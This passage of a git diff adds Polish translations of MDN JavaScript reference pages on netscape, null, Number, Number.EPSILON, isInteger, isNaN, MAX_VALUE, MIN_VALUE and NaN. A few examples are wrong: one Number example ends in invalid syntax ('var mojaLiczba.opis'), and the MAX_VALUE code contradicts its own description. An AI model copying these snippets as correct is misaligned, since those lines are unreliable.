+translation_of: Archive/Web/LiveConnect_Reference/netscape
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><b>Obiekt główny</b>
+</p><p>Obiekt najwyższego poziomu używany do korzystania z klas języka Java z pakietu <code>netscape.*</code>.
+</p>
+<h3 id="Tworzony_przez" name="Tworzony_przez"> Tworzony przez </h3>
+<p>Obiekt <code>netscape</code> w języku JavaScript jest predefiniowanym obiektem najwyższego poziomu. Nie ma potrzeby stosowania konstruktora lub wywoływania jakiejkolwiek metody by z niego korzystać.
+</p>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Obiekt <code>netscape</code> jest synonimem dla własności <code>Packages.netscape</code>.
+</p>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages">Packages</a>,
+<a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Packages/netscape">Packages.netscape</a></code>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/netscape", "es": "es/Referencia_de_JavaScript_1.5/Objetos_globales/netscape" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/null/index.html b/files/pl/web/javascript/referencje/obiekty/null/index.html
new file mode 100644
index 0000000000..34e20e399c
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/null/index.html
@@ -0,0 +1,134 @@
+---
+title: 'null'
+slug: Web/JavaScript/Referencje/Obiekty/null
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/null
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>Wartość <code>null</code> reprezentuje zamierzony brak wartości jakiegoś obiektu. Jest jedną z {{Glossary("Primitive", "podstawowych wartości")}} w JavaSript.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>null </code></pre>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Wartość <code>null</code>, jak podpowiada nazwa, zapisujemy używając słowa "<code>null</code>". <code>null</code> nie jest zmienną globalną, w przeciwieństwie do {{jsxref("Global_Objects/undefined","undefined")}}. Zamiast tego <code>null</code> wyraża brak identyfikacji, mówiąc nam, że zmienna nie wskazuje na obiekt. W wielu API <code>null</code> jest często zwracany tam, gdzie może być obiekt, ale aktualnie jeszcze go tam nie ma.</p>
+
+<pre class="brush: js">// foo nie istnieje. Nie jest zdefiniowany oraz nigdy nie był zainicjalizowany:
+&gt; foo
+"ReferenceError: foo is not defined"
+
+// Teraz wiadomo że null istnieje, ale nie ma on żadnego typu ani wartości:
+&gt; var foo = null; foo;
+"null"
+</pre>
+
+<h3 id="Różnice_pomiędzy_null_i_undefined">Różnice pomiędzy <code>null</code> i <code>undefined</code></h3>
+
+<p>Podczas sprawdzania <code>null</code> lub <font face="Consolas, Liberation Mono, Courier, monospace">undefined</font>, uważaj na <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operatory_porównania">róźnice pomiędzy operatorami równości (==) oraz identyczności (===)</a>, ponieważ ten pierwszy wykonuje konwersję typu.</p>
+
+<pre class="brush: js">typeof null // "object" (nie jest to "null" ze względu na starsze przyczyny)
+typeof undefined // "undefined"
+null === undefined // false
+null == undefined // true
+null === null // true
+null == null // true
+!null // true
+isNaN(1 + null) // false
+isNaN(1 + undefined) // true</pre>
+
+<p> </p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-4.3.11', 'null value')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-null-value', 'null value')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-null-value', 'null value')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/constructor/index.html b/files/pl/web/javascript/referencje/obiekty/number/constructor/index.html
new file mode 100644
index 0000000000..01315b7ad5
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/constructor/index.html
@@ -0,0 +1,22 @@
+---
+title: constructor
+slug: Web/JavaScript/Referencje/Obiekty/Number/constructor
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p><b>Własność obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Number">Number</a></b>
+</p><p>Określa funkcję tworzącą prototyp obiektu. Należy pamiętać, że wartość tej własności jest referencją do funkcji, a nie łańcuchem znaków zawierającym jej nazwę.
+</p>
+<h3 id="Opis" name="Opis"> Opis </h3>
+<p>Zobacz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object/constructor">Object.constructor</a></code>.
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Number/constructor", "ja": "ja/Core_JavaScript_1.5_Reference/Global_Objects/Number/constructor" } ) }}
diff --git a/files/pl/web/javascript/referencje/obiekty/number/epsilon/index.html b/files/pl/web/javascript/referencje/obiekty/number/epsilon/index.html
new file mode 100644
index 0000000000..289e33ad79
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/epsilon/index.html
@@ -0,0 +1,76 @@
+---
+title: Number.EPSILON
+slug: Web/JavaScript/Referencje/Obiekty/Number/EPSILON
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Number
+ - Właściwość
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/EPSILON
+---
+<div>{{JSRef}}</div>
+
+<p>Właściwość <strong><code>Number.EPSILON</code></strong> reprezentuje różnicę pomiędzy 1 a najmniejszą liczbą zmiennoprzecinkową większą niż 1.</p>
+
+<p>Jest to właściwość statyczna. Nie musisz tworzyć obiektu {{jsxref("Number")}}, żeby mieć do niej dostęp (użyj <code>Number.EPSILON</code>).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-epsilon.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Wartość właściwości <code>EPSILON</code> to w przybliżeniu  <code>2.2204460492503130808472633361816E-16</code> lub <code>2<sup>-52</sup></code>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Testowanie_równości">Testowanie równości</h3>
+
+<pre class="brush: js">x = 0.2;
+y = 0.3;
+z = 0.1;
+equal = (Math.abs(x - y + z) &lt; Number.EPSILON);
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">if (Number.EPSILON === undefined) {
+ Number.EPSILON = Math.pow(2, -52);
+}
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-number.epsilon', 'Number.EPSILON')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.epsilon', 'Number.EPSILON')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.EPSILON")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Number")}} obiekt, do którego należy ta właściwość.</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/index.html b/files/pl/web/javascript/referencje/obiekty/number/index.html
new file mode 100644
index 0000000000..78fc243a0b
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/index.html
@@ -0,0 +1,111 @@
+---
+title: Number
+slug: Web/JavaScript/Referencje/Obiekty/Number
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Pozwala pracować z wartościami liczbowymi. Obiekt <code>Number</code> jest opakowaniem (ang.<em>wrapper</em> ) dla prymitywnych wartości numerycznych.</p>
+
+<h2 id="Tworzone_przez" name="Tworzone_przez">Tworzone przez</h2>
+
+<p>Konstruktor <code>Number</code>:</p>
+
+<pre class="syntaxbox">new Number(value);</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>value</code> </dt>
+ <dd>Wartość numeryczna tworzonego obiektu.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Obiekt <code>Number</code> jest głównie stosowany do:</p>
+
+<ul>
+ <li>Uzyskania dostępu do jego stałych własnościach, które reprezentują najmniejszą i największa możliwą (przestawialną) liczbę, dodatnią lub ujemną nieskończoność i wartość nieliczbową (<em>Not-a-Number</em> ).</li>
+</ul>
+
+<ul>
+ <li>Aby stworzyć obiekty liczbowe do których możesz dodać własności. Najprawdopodobniej rzadko, kiedy będziesz musiał stworzyć obiekt typu <code>Number</code>.</li>
+</ul>
+
+<p>Własności <code>Number</code> są własnościami jego klasy, nieindywidualnymi własnościami obiektu.</p>
+
+<p><strong>JavaScript 1.2</strong>: <code>Number(x)</code> teraz tworzy raczej <code>NaN</code> niż błąd jeśli <code>x</code> jest ciągiem znaków, który nie zawiera poprawnie sformatowanej liczby. Na przykład, poniższy kod drukuje <code>NaN</code>:</p>
+
+<pre class="brush: js">var x = Number("three");
+document.write(x + "&lt;BR&gt;");
+</pre>
+
+<p>Możesz przekonwertować, każdy obiekt na liczbę używając funkcji wysokiego poziomu <code>Number</code>.</p>
+
+<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2>
+
+<dl>
+ <dt>{{jsxref("Number.constructor")}}</dt>
+ <dd>Oznacza funkcję, która tworzy prototyp obiektu.</dd>
+ <dt>{{jsxref("Number.MAX_VALUE")}}</dt>
+ <dd>Największa możliwa do przedstawienia liczba.</dd>
+ <dt>{{jsxref("Number.MIN_VALUE")}}</dt>
+ <dd>Najmniejsza możliwa do przedstawienia liczba.</dd>
+ <dt>{{jsxref("Number.NaN")}}</dt>
+ <dd>Specjalna wartość "nie jest liczbą" (Not-a-Number).</dd>
+ <dt>{{jsxref("Number.NEGATIVE_INFINITY")}}</dt>
+ <dd>Specjalna wartość reprezentująca negatywną nieskończoność; zwracana przy przepełnieniu.</dd>
+ <dt>{{jsxref("Number.POSITIVE_INFINITY")}}</dt>
+ <dd>Specjalna wartość reprezentująca nieskończoność; zwracana przy przepełnieniu.</dd>
+ <dt>{{jsxref("Number.prototype")}}</dt>
+ <dd>Pozwala na dodawanie (tworzenie) nowych własności obiektu <code>Number</code>.</dd>
+</dl>
+
+<h2 id="Metody" name="Metody">Metody</h2>
+
+<p><strong>{{jsxref("Number.isInteger()")}}</strong></p>
+
+<p>     Sprawdza czy liczba jest całkowita.</p>
+
+<dl>
+ <dt>{{jsxref("Number.toExponential()")}}</dt>
+ <dd>Zwraca ciąg znaków, reprezentujący liczbę zapisaną w postaci wykładniczej.</dd>
+ <dt>{{jsxref("Number.toFixed()")}}</dt>
+ <dd>Zwraca ciąg znaków, reprezentujący liczbę stałoprzecinkową.</dd>
+ <dt>{{jsxref("Number.toLocaleString()")}}</dt>
+ <dd>Zwraca czytelny dla ludzi ciąg znaków reprezentujący liczbę zapisaną przy wykorzystaniu lokalnego formatu zapisu liczb. Przesłania metodę {{jsxref("Object.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("Number.toPrecision()")}}</dt>
+ <dd>Zwraca ciąg znaków reprezentujący liczbę stałoprzecinkową o podanej precyzji.</dd>
+ <dt>{{jsxref("Number.toSource()")}}</dt>
+ <dd>Zwraca literał obiektu reprezentujący podany obiekt <code>Number</code>; możesz użyć tą wartość, przy tworzeniu nowego obiektu. Przesłania metodę {{jsxref("Object.toSource()")}}.</dd>
+ <dt>{{jsxref("Number.toString()")}}</dt>
+ <dd>Zwraca ciąg znaków reprezentujący podany obiekt. Przesłania metodę {{jsxref("Object.toString()")}}.</dd>
+ <dt>{{jsxref("Number.valueOf()")}}</dt>
+ <dd>Zwraca zmienną typu prostego reprezentującą wartość podanego obiektu. Przesłania metodę {{jsxref("Object.valueOf()")}}.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_obiektu_Number.2C_przy_przypisaniu_warto.C5.9Bci_zmiennym_liczbowym" name="Przyk.C5.82ad:_Zastosowanie_obiektu_Number.2C_przy_przypisaniu_warto.C5.9Bci_zmiennym_liczbowym">Przykład: Zastosowanie obiektu <code>Number</code>, przy przypisaniu wartości zmiennym liczbowym</h3>
+
+<p>Poniższy przykład używa własności obiektu <code>Number</code>, aby przypisać wartości do kilku wartości numerycznych:</p>
+
+<pre class="brush: js">var najwiekszaLiczba = Number.MAX_VALUE;
+var najmniejszaLiczba = Number.MIN_VALUE;
+var nieskonczonosc = Number.POSITIVE_INFINITY;
+var negatywnaNieskonczonosc = Number.NEGATIVE_INFINITY;
+var nieJestLiczba = Number.NaN;
+</pre>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_obiektu_Number_do_modyfikacji_wszystkich_obiekt.C3.B3w_Number" name="Przyk.C5.82ad:_Zastosowanie_obiektu_Number_do_modyfikacji_wszystkich_obiekt.C3.B3w_Number">Przykład: Zastosowanie obiektu <code>Number</code> do modyfikacji wszystkich obiektów <code>Number</code></h3>
+
+<p>Poniższy przykład tworzy obiekt typu <code>Number</code>, &lt;code&gt;.mojaLiczba&lt;/code&gt;, wtedy dodaje własność <code>opis</code>, wszystkim obiektom <code>Number</code>. Następnie wartość jest przypisana do własności <code>opis</code> obiektu <code>mojaLiczba</code>.</p>
+
+<pre class="brush: js">var mojaLiczba = new Number(65);
+Number.prototype.opis = null;
+var mojaLiczba.opis = "prędkość wiatru";
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/isinteger/index.html b/files/pl/web/javascript/referencje/obiekty/number/isinteger/index.html
new file mode 100644
index 0000000000..aaf93ab5fb
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/isinteger/index.html
@@ -0,0 +1,88 @@
+---
+title: Number.isInteger()
+slug: Web/JavaScript/Referencje/Obiekty/Number/isInteger
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isInteger
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <strong><code>Number.isInteger()</code></strong> sprawdza czy wpisana wartość jest liczbą całkowitą.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Number.isInteger(v<var>alue</var>)</pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>zmienna</code></dt>
+ <dd>Zmienna będzie testowana jako liczba.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Metoda zwraca wartość typu {{jsxref("Boolean")}}.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Jeśli sprawdzana zmienna jest liczbą całkowitą metoda zwraca <code>true</code>, w innym przypadku zwraca <code>false</code>. Jeśli zmienna jest typu {{jsxref("NaN")}} lub spoza zakresu metoda zwraca <code>false</code>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: js">Number.isInteger(0); // true
+Number.isInteger(1); // true
+Number.isInteger(-100000); // true
+
+Number.isInteger(0.1); // false
+Number.isInteger(Math.PI); // false
+
+Number.isInteger(NaN); // false
+Number.isInteger(Infinity); // false
+Number.isInteger(-Infinity); // false
+Number.isInteger('10'); // false
+Number.isInteger(true); // false
+Number.isInteger(false); // false
+Number.isInteger([1]); // false
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">Number.isInteger = Number.isInteger || function(value) {
+ return typeof value === 'number' &amp;&amp;
+  isFinite(value) &amp;&amp;
+  Math.floor(value) === value;
+};
+</pre>
+
+<h2 id="Dokumentacja">Dokumentacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-number.isinteger', 'Number.isInteger')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.isinteger', 'Number.isInteger')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilne_przegladarki">Kompatybilne przegladarki</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Number.isInteger")}}</p>
+
+<h2 id="Sprawdź_również">Sprawdź również</h2>
+
+<ul>
+ <li>Metoda ta należy do klasy {{jsxref("Number")}}.</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/isnan/index.html b/files/pl/web/javascript/referencje/obiekty/number/isnan/index.html
new file mode 100644
index 0000000000..ddb723b409
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/isnan/index.html
@@ -0,0 +1,108 @@
+---
+title: Number.isNaN()
+slug: Web/JavaScript/Referencje/Obiekty/Number/isNaN
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Metodă
+ - NaN
+ - Number
+ - isNaN
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/isNaN
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <strong><code>Number.isNaN()</code></strong> określa czy podany parametr ma wartość {{jsxref("NaN")}} i czy jest typu {{jsxref("Number")}}. Jest to ulepszona wersja oryginalnej, globalne funkcji {{jsxref("isNaN", "isNaN()")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/number-isnan.html", "taller")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Number.isNaN(<var>value</var>)</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code><var>value</var></code></dt>
+ <dd>Wartość, którą będziemy testować {{jsxref("NaN")}}.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p><strong>true</strong>, jeśli podana wartość jest {{jsxref("NaN")}}, a jej typem jest {{jsxref("Number")}}; w przeciwnym razie, <strong>false</strong>.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Ponieważ oba operatory porównania, {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} i {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}, dla zapytania czy {{jsxref("NaN")}} <em>jest równe</em> {{jsxref("NaN")}} zwracają <code>false</code> funkcja <code>Number.isNaN()</code> staje się niezbędna. Jest sytuacja wyjątkowa i nie występuje, gdy porównujemy dowolne inne wartości w języku JavaScript.</p>
+
+<p>W porównaniu do funkcji globalnej {{jsxref("isNaN", "isNaN()")}}, metoda <code>Number.isNaN()</code> nie ma problemu z usilnym konwertowaniem parametru na liczbę. To oznacza, że można bezpiecznie przekazywać wartości, które normalnie mogłyby zostać skonwertowane na {{jsxref("NaN")}}, ale nie mają tej samej wartości co {{jsxref("NaN")}}. To również oznacza, że jedynie wartości typu {{jsxref("Number")}}, które są również {{jsxref("NaN")}}, zwrócą <code>true</code>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: js">Number.isNaN(NaN); // true
+Number.isNaN(Number.NaN); // true
+Number.isNaN(0 / 0); // true
+
+// Gdybyśmy użyli funkcji isNaN(), te przykłady zwróciłby true
+Number.isNaN('NaN'); // false
+Number.isNaN(undefined); // false
+Number.isNaN({}); // false
+Number.isNaN('blabla'); // false
+
+// Wszystkie zwracają false
+Number.isNaN(true);
+Number.isNaN(null);
+Number.isNaN(37);
+Number.isNaN('37');
+Number.isNaN('37.37');
+Number.isNaN('');
+Number.isNaN(' ');
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Następujący przykład działa, ponieważ {{jsxref("NaN")}} jest jedyną wartością w języku JavaScript, która nie jest równa samej sobie.</p>
+
+<pre class="brush: js">Number.isNaN = Number.isNaN || function(value) {
+  return value !== null &amp;&amp; (value != value || +value != value);
+}
+</pre>
+
+<h2 id="Opis_2">Opis</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-number.isnan', 'Number.isnan')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-number.isnan', 'Number.isnan')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+
+
+<div>{{Compat("javascript.builtins.Number.isNaN")}}</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/max_value/index.html b/files/pl/web/javascript/referencje/obiekty/number/max_value/index.html
new file mode 100644
index 0000000000..4ec6b77eb3
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/max_value/index.html
@@ -0,0 +1,35 @@
+---
+title: Number.MAX_VALUE
+slug: Web/JavaScript/Referencje/Obiekty/Number/MAX_VALUE
+tags:
+ - JavaScript
+ - Number
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Największa liczba, której reprezentacja jest możliwa w języku JavaScript.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Własność <code>MAX_VALUE</code> ma wartość ok. 1.79E+308. Wartości większe niż <code>MAX_VALUE</code> są reprezentowane jako "<code>Infinity</code>" (nieskończoność).</p>
+
+<p>Ponieważ <code>MAX_VALUE</code> jest statyczną własnością {{jsxref("Number")}}, używa jej się zawsze jako <code>Number.MAX_VALUE</code>, a nie jako własność utworzonego przez programistę obiektu {{jsxref("Number")}}.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h2 id="Przyk.C5.82ad:_Zastosowanie_MAX_VALUE" name="Przyk.C5.82ad:_Zastosowanie_MAX_VALUE">Przykład: Zastosowanie <code>MAX_VALUE</code></h2>
+
+<p>Poniższy kod mnoży dwie liczby. Jeśli wynik jest większy lub równy <code>MAX_VALUE</code>, wywoływana jest funkcja <code>func1</code>, w przeciwnym wypadku wywoływana jest funkcja <code>func2</code>.</p>
+
+<pre class="eval">if (num1 * num2 &lt;= Number.MAX_VALUE) {
+ func1();
+} else {
+ func2();
+}
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/min_value/index.html b/files/pl/web/javascript/referencje/obiekty/number/min_value/index.html
new file mode 100644
index 0000000000..7010abe1af
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/min_value/index.html
@@ -0,0 +1,39 @@
+---
+title: Number.MIN VALUE
+slug: Web/JavaScript/Referencje/Obiekty/Number/MIN_VALUE
+tags:
+ - JavaScript
+ - Number
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Najmniejsza dodatnia wartość liczbowa, której reprezentacja jest możliwa w języku JavaScript.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Własność <code>MIN_VALUE</code> to najbliższa zeru liczba dodatnia, jakiej reprezentacja jest możliwa w języku JavaScript - nie jest to najmniejsza liczba ujemna.</p>
+
+<p><code>MIN_VALUE</code> ma wartość ok. 5e-324. Wartości mniejsze niż <code>MIN_VALUE</code> (ang. "underflow values") konwertowane są do 0.</p>
+
+<p>Ponieważ <code>MIN_VALUE</code> jest statyczną własnością {{jsxref("Number")}}, używa jej się zawsze jako <code>Number.MIN_VALUE</code>, a nie jako własność utworzonego przez programistę obiektu {{jsxref("Number")}}.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_MIN_VALUE" name="Przyk.C5.82ad:_Zastosowanie_MIN_VALUE">Przykład: Zastosowanie <code>Number.MIN_VALUE</code></h3>
+
+<p>Poniższy kod dzieli jedną liczbę przez drugą. Jeśli wynik jest większy lub równy <code>MIN_VALUE</code>, wywoływana jest funkcja <code>func1</code>, w przeciwnym wypadku wywoływana jest funkcja <code>func2</code>.</p>
+
+<pre class="brush: js">if (num1 / num2 &gt;= Number.MIN_VALUE) {
+ func1();
+} else {
+ func2();
+}
+</pre>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/javascript/referencje/obiekty/number/nan/index.html b/files/pl/web/javascript/referencje/obiekty/number/nan/index.html
new file mode 100644
index 0000000000..987a48ee6d
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/number/nan/index.html
@@ -0,0 +1,48 @@
+---
+title: Number.NaN
+slug: Web/JavaScript/Referencje/Obiekty/Number/NaN
+tags:
+ - JavaScript
+ - Number
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Number/NaN
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wartość reprezentująca Not-A-Number (Nie-Liczbę).</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wartością <code>Number.NaN</code> jest Not-A-Number, taką samą jak wartość własności {{jsxref("Obiekty/NaN", "NaN")}} obiektu globalnego.</p>
+
+<p><span class="comment">Keep text below in sync with Properties:NaN page</span> <code>NaN</code> jest zawsze różna od dowolnej liczby, włączając również <code>NaN</code>; nie możesz sprawdzić wartości nieliczbowej poprzez porównanie do <code>Number.NaN</code>. Użyj zamiast tego funkcji {{jsxref("Obiekty/isNaN", "isNaN()")}}.</p>
+
